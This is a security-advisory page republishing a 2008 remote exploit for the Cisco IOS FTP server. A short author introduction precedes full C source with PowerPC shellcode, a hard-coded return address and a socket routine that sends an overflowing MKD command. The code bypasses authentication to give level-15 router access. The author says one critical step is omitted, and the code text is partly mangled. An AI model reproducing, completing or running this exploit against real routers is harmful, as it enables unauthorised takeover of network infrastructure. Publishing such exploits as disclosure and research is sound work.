Remote Cisco IOS FTP exploit

Type securityvulns
Reporter Securityvulns
Modified 2008-07-30T00:00:00



The IOS FTP server vulnerabilities were published in an advisory by Cisco in May 2007. The FTP server does not run by default, it is not widely used and has since been removed from new versions of IOS. Therefore, I took the decision to release this exploit code in order to show that IOS can be reliably exploited to provide remote level 15 exec shell access. This clearly demonstrates that patching your router is just as important as patching your servers.

To prevent its widespread abuse I have omitted a critical step which means that it will only work when the router is connected to a debugger - not something you are likely to encounter on the Internet

Anyway, hopefully this will promote further IOS security research as there's plenty left to look at!




Cisco IOS FTP server remote exploit by Andy Davis 2008

Cisco Advisory ID: cisco-sa-20070509-iosftp - May 2007

Specific hard-coded addresses for IOS 12.3(18) on a 2621XM router

Removes the requirement to authenticate and escalates to level 15

To protect the innocent a critical step has been omitted, which means the shellcode will only execute when the router is attached to gdb. I'm sure the PowerPC shellcoders out there will work it out...

Thanks to Gyan Chawdhary and Varun Uppal for all the hours they spent on the original IOS security research

iosftpexploit <at> googlemail 'dot' com


include <sys/socket.h>

include <netinet/in.h>

include <stdio.h>

include <stdlib.h>

define PORT 21

int main(int argc, char **argv) { unsigned char sendbuf[] =

"MKD "

/ .equ vty_info, 0x8182da60 # pointer to VTY info / / .equ terminate, 0x80e4086c # kill a process /

"\x3c\x80\x81\x83" / lis 4,vty_info@ha / "\x38\x84\xda\x60" / la 4,vty_info@l(4) / "\x7d\x08\x42\x78" / xor 8,8,8 / "\x7c\xe4\x40\x2e" / lwzx 7,4,8 / "\x91\x07\x01\x74" / stw 8,372(7) / "\x39\x08\xff\xff" / subi 8,8,1 / "\x38\xe7\x09\x1a" / addi 7,7,233 / "\x91\x07\x04\xca" / stw 8,1226(7) / "\x7d\x03\x43\x78" / mr 3,8 / "\x3c\x80\x80\xe4" / lis 4,terminate@ha / "\x38\x84\x08\x6c" / la 4,terminate@l(4) / "\x7c\x89\x03\xa6" / mtctr 4 / "\x4e\x80\x04\x20" / bctr /

/ exists cleanly without adversely affecting the FTP server /

"\x61\x61\x61\x61" / padding / "\x61\x61\x61\x61" / padding / "\x61\x61\x61\x61" / padding / "\x61\x61\x61\x61" / padding / "\x61\x61\x61\x61" / padding / "\x61\x61\x61\x61" / padding /

"\x80\x06\x23\xB8" / return address / "\x0d\x0a";

/ trampoline code / / when the overflow occurs r26+0x14 points to the shellcode / / 0x800623B8 lwz 26, 20(26) 0x800623BC mtctr 26 0x800623C0 mr 3, 27 0x800623C4 bctrl /

unsigned char recvbuf[256]; struct sockaddr_in servaddr; int s;

if (argc != 2) { printf ("\nCisco IOS FTP server remote exploit by Andy Davis 2008\n");

    printf &#40;&quot;&#92;nUsage: &#37;s &lt;target IP address&gt;&#92;n&quot;,argv[0]&#41;;

servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = inet_addr(argv[1]); servaddr.sin_port = htons(PORT);

s = socket(AF_INET, SOCK_STREAM, 0); connect (s, (struct sockaddr *) &servaddr, sizeof(servaddr)); printf ("\nCisco IOS FTP server remote exploit by Andy Davis 2008\n"); printf ("Specific offsets for IOS 12.3(18) on a 2621XM router\n\n"); printf ("Sending exploit...\n\n");

if (send(s, sendbuf, sizeof(sendbuf)-1, 0) == 0) { printf("Error sending packet...quitting\n\n"); exit (1); } recv (s, recvbuf, sizeof(recvbuf)-1,0); printf ("Now telnet to the router for a shell...\n\n"); }